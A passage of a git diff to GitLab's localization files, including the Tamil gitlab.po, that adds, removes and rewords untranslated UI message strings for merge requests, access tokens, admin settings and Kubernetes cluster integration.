-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/ta_IN/gitlab.po b/locale/ta_IN/gitlab.po
index 56a53ff5272..33539753aa7 100644
--- a/locale/ta_IN/gitlab.po
+++ b/locale/ta_IN/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: ta\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:22\n"
+"PO-Revision-Date: 2021-07-01 21:03\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
